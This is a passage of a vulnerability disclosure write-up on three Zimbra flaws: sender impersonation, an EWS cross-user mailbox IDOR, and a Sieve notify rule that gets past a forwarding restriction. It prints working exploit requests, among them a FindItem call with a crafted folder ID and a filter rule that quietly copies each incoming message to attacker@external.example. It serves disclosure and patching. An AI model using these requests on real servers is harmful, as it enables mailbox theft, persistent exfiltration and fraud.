&lt;/SaveDraftRequest&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because Zimbra submits the message through its legitimate infrastructure, the issue goes beyond display-name spoofing. On a deployment whose legitimate outbound mail passes SPF, DKIM, and DMARC, the impersonated message passes them too: it uses the same source MTA, signing domain, RFC sender, and envelope sender as legitimate mail from the selected account. Local testing confirmed that sender alignment and normal MTA path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/pocs/CVE-2026-73571/impersonation_savedraft.py"><span style='font-size: undefined;'>CVE-2026-73571 PoC</span></a><span style='font-size: undefined;'> submits the delegated request with an operator-selected sender, recipient, subject and message body. On the affected build, the message arrived with the CEO as its RFC sender, and the same subject appeared in the CEO's Sent folder.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta116a910c643b388/6ace75b53ccf1a35186e01b8/forged-ceo-communications.png" alt="forged-ceo-communications.png" caption="Figure 2: The victim's Inbox displays the forged message as an ordinary internal email from the CEO." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="forged-ceo-communications.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta116a910c643b388/6ace75b53ccf1a35186e01b8/forged-ceo-communications.png" data-sys-asset-uid="blta116a910c643b388" data-sys-asset-filename="forged-ceo-communications.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: The victim's Inbox displays the forged message as an ordinary internal email from the CEO." data-sys-asset-alt="forged-ceo-communications.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: The victim's Inbox displays the forged message as an ordinary internal email from the CEO.</figcaption></div></figure><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker can impersonate any local user, not only an administrator or executive. Internally, that allows believable payment requests, changes to account details, malicious links, false instructions and fraudulent approvals. Normal display-name spoofing warnings and external-sender banners do not help because Zimbra submits the message as the selected local user.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Zimbra also places the forged message in the impersonated user's Sent folder. This leaves a fabricated record of authorship and can support an attempt to frame that user.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1d90e93b661c8be7/6ace75e898f3c84ac1b7a0fe/ceo-sent-folder.png" alt="ceo-sent-folder.png" caption="Figure 3: The same forged message is recorded in the CEO's Sent folder." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ceo-sent-folder.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1d90e93b661c8be7/6ace75e898f3c84ac1b7a0fe/ceo-sent-folder.png" data-sys-asset-uid="blt1d90e93b661c8be7" data-sys-asset-filename="ceo-sent-folder.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: The same forged message is recorded in the CEO's Sent folder." data-sys-asset-alt="ceo-sent-folder.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: The same forged message is recorded in the CEO's Sent folder.</figcaption></div></figure><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>For external recipients, the attacker can send from a finance account to request new payment details, use an operations account to cancel or alter an order, or send scams and abusive mail under an employee's address. The consequences depend on the role and relationships of the selected sender.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The same trusted-delivery advantage applies to exploit-bearing mail. The next article will examine browser-side findings that an attacker can deliver from any chosen local account. Impersonation is not required for the XSS itself, but can make the message appear to come from somebody the recipient trusts.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-73571.md#patch-diffing"><span style='font-size: undefined;'>patch</span></a><span style='font-size: undefined;'> in ZCS 10.1.17 retains the account that actually signed in unless it has an explicit send-as or send-on-behalf-of right. An unauthorized delegated request consequently runs as the caller rather than the account named in the message.</span></p><h2 style="direction: ltr;">EWS cross-user mailbox access (CVE-2026-10631)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Zimbra's EWS extension uses composite folder IDs intended for shared-mailbox operations. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FindItem</span></span><span style='font-size: undefined;'> trusts the owner UUID inside an attacker-supplied ID and constructs the authorization context from the selected mailbox instead of the account that signed in. This Insecure Direct Object Reference (IDOR) lets any ordinary EWS-enabled account read complete items from other users' mailboxes without a share or delegation grant.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker needs </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zimbraFeatureEwsEnabled=TRUE</span></span><span style='font-size: undefined;'>. Although disabled by default, deployments using Zimbra's Outlook desktop integration commonly enable EWS class-of-service-wide. The target account does not need EWS enabled, and no target-user action is required.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Composite IDs select the mailbox</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>To address a shared item, EWS needs to identify both the mailbox that owns it and the item or folder inside that mailbox. Zimbra encodes this as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{ownerUUID}_{numericId}</span></span><span style='font-size: undefined;'>. For example:</span></p><p><span style='font-size: undefined;'></span></p><pre language="html"><span style='color:rgb(197, 34, 31);font-size: undefined;'>5e05e6e2-8810-4c2a-a7ac-3771df62e344</span>_2
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^
              owner UUID             +-- folder 2 (Inbox)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>When </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FindItem</span></span><span style='font-size: undefined;'> receives a composite ID, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FolderUtil.parseItemId()</span></span><span style='font-size: undefined;'> separates the owner and numeric portions. The owner value is then passed to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ItemUtil.getGrantorMailbox()</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// ItemUtil.getGrantorMailbox()
public static Mailbox getGrantorMailbox(String ownerId) throws ServiceException {
    Provisioning prov = Provisioning.getInstance();
    Account ownerAcct = prov.get(Key.AccountBy.id, ownerId); // [0] supplied owner UUID
    Mailbox mailboxOwnr = MailboxManager.getInstance()
        .getMailboxByAccount(ownerAcct); // [1] selected mailbox
    return mailboxOwnr;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, EWS resolves the supplied owner UUID to a local account; </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> retrieves that account's mailbox. Neither method receives the caller's identity.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>The mailbox becomes the authenticated identity</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The authenticated account and selected mailbox are then passed to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ItemOperation</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// ItemOperation.ItemOperation()
public ItemOperation(Account account, Mailbox mailbox, ZimbraAuth zimbraAuth)
        throws ServiceException {
    this.account = account; // [2] authenticated attacker
    this.mailbox = mailbox; // [3] selected owner's mailbox
    this.octxt = mailbox == null
        ? new OperationContext(account)
        : new OperationContext(mailbox); // [4] selected owner context
    this.zimbraAuth = zimbraAuth;
    this.octxt.setUserAgent(zimbraAuth.getUserAgent());
}</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> is the attacker account. Supplying a victim UUID makes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> the victim mailbox, so it is not null. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> therefore creates </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OperationContext</span></span><span style='font-size: undefined;'> from the victim mailbox instead of the attacker account.</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// OperationContext constructors
public OperationContext(Mailbox mbox) throws ServiceException {
    this(mbox.getAccount()); // [5] target mailbox owner
}

public OperationContext(Account acct) {
    this(acct, false);
}

public OperationContext(Account acct, boolean admin) {
    this.authuser = acct; // [6] identity used for permission checks
    // ... remaining context initialization omitted
}</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'> extracts the victim account from that mailbox, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[6]</span></span><span style='font-size: undefined;'> stores the victim as the authenticated user. The mailbox then compares this identity with its owner:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// Mailbox.getAuthenticatedAccount()
Account getAuthenticatedAccount() {
    // ... context and authenticated-user lookup omitted
    if (authuser != null && authuser.getId().equals(this.getAccountId())) {
        authuser = null; // [7] matching identity is treated as owner access
    }
    return authuser;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The identities match, so </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[7]</span></span><span style='font-size: undefined;'> changes the authenticated user to null, which downstream checks treat as owner access. The attacker's request is consequently authorized as the victim. EWS has used the untrusted owner UUID both to select a mailbox and to decide who is authenticated. The numeric folder ID is subsequently resolved within that owner context, allowing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FindItem</span></span><span style='font-size: undefined;'> to access any folder in the selected mailbox.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Resolving a target mailbox</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>A target UUID is available through ordinary authenticated directory lookups. Both </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetAccountInfoRequest</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SearchGalRequest</span></span><span style='font-size: undefined;'> return </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zimbraId</span></span><span style='font-size: undefined;'> for a known local address. The PoC uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetAccountInfoRequest</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(147, 52, 230);font-size: undefined;'></span></p><pre language="xml">&lt;GetAccountInfoRequest xmlns="urn:zimbraAccount"&gt;
  &lt;account by="name"&gt;victim@example.test&lt;/account&gt;
&lt;/GetAccountInfoRequest&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The response contains the target's UUID:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="html">&lt;attr name="zimbraId"&gt;<span style='color:rgb(197, 34, 31);font-size: undefined;'>5e05e6e2-8810-4c2a-a7ac-3771df62e344</span>&lt;/attr&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Appending </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>_2</span></span><span style='font-size: undefined;'> to the UUID forms the target's Inbox identifier. The attacker sends the following EWS request to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/service/extension/zimbraews</span></span><span style='font-size: undefined;'>, or to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/EWS/Exchange.asmx</span></span><span style='font-size: undefined;'> when EWS is exposed through Zimbra's standard proxy:</span></p><p style="direction: ltr;"><span style='color:rgb(147, 52, 230);font-size: undefined;'></span></p><pre language="xml">&lt;m:FindItem Traversal="Shallow"
    xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
    xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"&gt;
  &lt;m:ItemShape&gt;
    &lt;t:BaseShape&gt;AllProperties&lt;/t:BaseShape&gt;
    &lt;t:IncludeMimeContent&gt;true&lt;/t:IncludeMimeContent&gt;
  &lt;/m:ItemShape&gt;
  &lt;m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="End"/&gt;
  &lt;m:ParentFolderIds&gt;
    &lt;t:FolderId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_2"/&gt;
  &lt;/m:ParentFolderIds&gt;
&lt;/m:FindItem&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The server returns the selected mailbox's data in the EWS response:</span></p><p style="direction: ltr;"><span style='color:rgb(147, 52, 230);font-size: undefined;'></span></p><pre language="html">&lt;ns2:Message xmlns:ns2="http://schemas.microsoft.com/exchange/services/2006/types"&gt;
  &lt;!-- Complete base64 MIME and other returned fields omitted. --&gt;
  &lt;ns2:ItemId Id="5e05e6e2-8810-4c2a-a7ac-3771df62e344_380" ChangeKey="600"/&gt;
  &lt;ns2:Subject&gt;Project Phoenix acquisition timeline&lt;/ns2:Subject&gt;
  &lt;ns2:Body BodyType="Text"&gt;The target accepted the preliminary terms.
    Board approval is due Friday. Keep this strictly confidential.&lt;/ns2:Body&gt;
  &lt;ns2:HasAttachments&gt;true&lt;/ns2:HasAttachments&gt;
  &lt;ns2:From&gt;&lt;ns2:Mailbox&gt;
    &lt;ns2:EmailAddress&gt;finance@northbridge.example&lt;/ns2:EmailAddress&gt;
  &lt;/ns2:Mailbox&gt;&lt;/ns2:From&gt;
  &lt;ns2:InternetMessageId&gt;&lt;20261005150023.563F6400B9@mail.lab.local&gt;&lt;/ns2:InternetMessageId&gt;
&lt;/ns2:Message&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/pocs/CVE-2026-10631/ews_cross_user_mailbox.py"><span style='font-size: undefined;'>CVE-2026-10631 PoC</span></a><span style='font-size: undefined;'> obtains that UUID and creates the composite ID automatically.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Cross-account folder reads</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Changing the numeric component selects another well-known folder:</span></p><p></p><table><colgroup data-width='955'><col style="width:20%"/><col style="width:23.455497382198953%"/><col style="width:56.54450261780105%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Folder</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Crafted ID</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Unauthorized result</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Inbox</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{uuid}_2</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Received messages and attachments</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Sent</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{uuid}_5</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Messages sent by the target</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Drafts</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{uuid}_6</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unfinished messages</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Contacts</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{uuid}_7</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Address-book entries</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Calendar</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{uuid}_10</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Appointments and meeting data</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>If the target mailbox is on another server in the same Zimbra cluster, the first server forwards the crafted request. The receiving server resolves its local mailbox from the same owner UUID and reaches the vulnerable </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FindItem</span></span><span style='font-size: undefined;'> constructor.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-10631.md"><span style='font-size: undefined;'>CVE-2026-10631 tracker entry</span></a><span style='font-size: undefined;'> covers the full response, affected folders and multi-server path in detail.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>EWS exposes the victim's private message bodies and attachments, as well as drafts, sent mail, contacts and calendar data. The attacker can monitor conversations and use their history to make the separate impersonation attack more credible.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker can also request a password reset for another service, monitor the corresponding mailbox and consume the link. EWS does not bypass third-party MFA by itself, but it exposes an email channel that many services still treat as sufficient proof. Because the owner UUID is attacker-selected, the same ordinary EWS account can repeat these reads against other local mailboxes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that an earlier version of this analysis, presented at </span><a href="https://youtu.be/NkM4UT2z0wc"><span style='font-size: undefined;'>BruCON 2026</span></a><span style='font-size: undefined;'>, attributed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetItem</span></span><span style='font-size: undefined;'>, send, move and delete to the same flaw. Comparing intermediate Network Edition releases during this research required multiple restored VM appliances, because EWS is license-gated and normal patching advances the complete system; one appliance retained a separate mailbox authorization state that obscured the boundary, </span>which initially made the impact appear broader<span style='font-size: undefined;'>. Repeating each operation with explicit authorization and target-state controls narrowed the CVE to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FindItem</span></span><span style='font-size: undefined;'>, which still exposes complete MIME and attachments.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-10631.md#patch-diffing"><span style='font-size: undefined;'>patch</span></a><span style='font-size: undefined;'> in ZCS 10.1.20 creates the EWS authorization context from the account that signed in, not the mailbox selected by the composite ID. Zimbra applied that correction to both local and remote mailbox operations.</span></p><h2 style="direction: ltr;">Sieve notify forwarding-restriction bypass (CVE-2026-50055)</h2><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zimbraFeatureMailForwardingInFiltersEnabled=FALSE</span></span><span style='font-size: undefined;'> is meant to stop users creating server-side mail-forwarding rules. Zimbra enforces it by rejecting Sieve </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>redirect</span></span><span style='font-size: undefined;'>, but accepts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>notify</span></span><span style='font-size: undefined;'> even though that action can send selected headers and the complete text body to an arbitrary external address. An authenticated user can therefore install persistent mail exfiltration despite the administrator's restriction. If forwarding is normally allowed, there is no policy boundary to bypass.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Redirect is the only blocked action</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Both the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ModifyFilterRulesRequest</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ModifyOutgoingFilterRulesRequest</span></span><span style='font-size: undefined;'> SOAP commands call </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>checkForwardFilterAttr()</span></span><span style='font-size: undefined;'> before saving a rule. The check recognizes only one action type:</span></p><p><span style='font-size: undefined;'></span></p><pre language="java">// DocumentHandler.checkForwardFilterAttr()
public boolean checkForwardFilterAttr(Account account, List&lt;FilterRule&gt; filterRules,
        String filterRuleType) throws ServiceException {
    if (!account.isFeatureMailForwardingInFiltersEnabled() && !filterRules.isEmpty()) {
        for (FilterRule filterRule : filterRules) {
            if (!Objects.requireNonNull(filterRule.getFilterActions()).stream()
                .anyMatch(FilterAction.RedirectAction.class::isInstance) // [0] redirect only
                || this.checkIfFilterAlreadyExists(filterRule, account, filterRuleType))
                continue;
            return false;
        }
    }
    return true; // [1] all other actions allowed
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, the policy classifies only </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RedirectAction</span></span><span style='font-size: undefined;'> as forwarding, meaning </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>NotifyAction</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RFCCompliantNotifyAction</span></span><span style='font-size: undefined;'> reach </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> even though they can send attacker-selected message content to an external email address.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Notify expands message content</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>These actions can include message content rather than just a generic alert because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SoapToSieve.getSieveScript()</span></span><span style='font-size: undefined;'> enables the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>variables</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>enotify</span></span><span style='font-size: undefined;'> extensions. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FilterUtil.getVarsMap()</span></span><span style='font-size: undefined;'> then supplies the values available to the notification:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// FilterUtil.getVarsMap() excerpt
// ... case-insensitive variable-map construction omitted
Enumeration enumeration = mimeMessage.getAllHeaders();
while (enumeration.hasMoreElements()) {
    Header header = (Header)enumeration.nextElement();
    vars.put(header.getName().toLowerCase(),
        ZInternetHeader.decode(
            mimeMessage.getHeader(header.getName(), ","))); // [2] decoded headers
}
vars.put("subject", parsedMessage.getSubject());
MPartInfo bodyPart = Mime.getTextBody(parsedMessage.getMessageParts(), false);
if (bodyPart != null) {
    // ... IOException handling omitted
    vars.put("body", Mime.getStringContent(
        bodyPart.getMimePart(),
        mailbox.getAccount().getPrefMailDefaultCharset())); // [3] selected text body
}
return vars;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>When the rule runs, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Notify.executeBasic()</span></span><span style='font-size: undefined;'> expands those variables into the notification subject and body. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> makes decoded headers available, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> supplies the text part selected by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Mime.getTextBody()</span></span><span style='font-size: undefined;'>. It does not supply raw MIME or attachments.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Installing persistent exfiltration</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>An authenticated user can place the following rule object inside </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ModifyFilterRulesRequest</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(147, 52, 230);font-size: undefined;'></span></p><pre language="html">&lt;filterRule name="Email Notification" active="1"&gt;
  &lt;filterTests condition="allof"&gt;&lt;trueTest/&gt;&lt;/filterTests&gt;
  &lt;filterActions&gt;
    &lt;actionNotify a="attacker@external.example"
      su="Fwd: ${subject}"
      content="From: ${from}&#10;To: ${to}&#10;Subject: ${subject}&#10;&#10;${body}"/&gt;
    &lt;actionKeep/&gt;
  &lt;/filterActions&gt;
&lt;/filterRule&gt;</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actionKeep</span></span><span style='font-size: undefined;'> leaves the original message in the user's Inbox, while each matching delivery sends the selected message text and headers to the external address.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/pocs/CVE-2026-50055/sieve_notify_forwarding_bypass.py"><span style='font-size: undefined;'>CVE-2026-50055 PoC</span></a><span style='font-size: undefined;'> preserves existing filters while installing the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>notify</span></span><span style='font-size: undefined;'> rule. After an ordinary message arrived for the filtered account, another mailbox received its subject, sender, recipients, date and complete text body. The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-50055.md"><span style='font-size: undefined;'>CVE-2026-50055 tracker entry</span></a><span style='font-size: undefined;'> has the complete affected-version information.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8588b087315e6331/6ace841b8f4f8c70626be564/notification-delivered.png" alt="notification-delivered.png" caption="Figure 4: The notification delivered to the attacker contains the subject, headers and complete text body of the victim's message." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="notification-delivered.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8588b087315e6331/6ace841b8f4f8c70626be564/notification-delivered.png" data-sys-asset-uid="blt8588b087315e6331" data-sys-asset-filename="notification-delivered.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: The notification delivered to the attacker contains the subject, headers and complete text body of the victim's message." data-sys-asset-alt="notification-delivered.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: The notification delivered to the attacker contains the subject, headers and complete text body of the victim's message.</figcaption></div></figure><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Hidden from Modern</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The persistence is not apparent in Modern. During testing, the server returned the active notification rule while the same account's Filters view remained empty. The server continued to run the rule normally, but Modern did not give the account owner a way to discover or remove it.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt285b64f2abbe7687/6ace844f3ac0959d85981e11/moderns-filter-view.png" alt="moderns-filter-view.png" caption="Figure 5: Modern's Filters view does not display the active Sieve notify rule." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="moderns-filter-view.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt285b64f2abbe7687/6ace844f3ac0959d85981e11/moderns-filter-view.png" data-sys-asset-uid="blt285b64f2abbe7687" data-sys-asset-filename="moderns-filter-view.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: Modern's Filters view does not display the active Sieve notify rule." data-sys-asset-alt="moderns-filter-view.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: Modern's Filters view does not display the active Sieve notify rule.</figcaption></div></figure><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Classic did list the attacker-selected name under Active Filters, but its overview did not expose the notification address or copied fields. The rule is therefore not invisible from every client, and an attacker can choose a less conspicuous name.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3899a1f9401eb5d8/6ace84716ac96c1aa6a0da34/zimbra-classic-view.png" alt="zimbra-classic-view.png" caption="Figure 6: Classic displays the attacker's rule name but not the external destination or copied fields." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="zimbra-classic-view.png" style="width: auto" 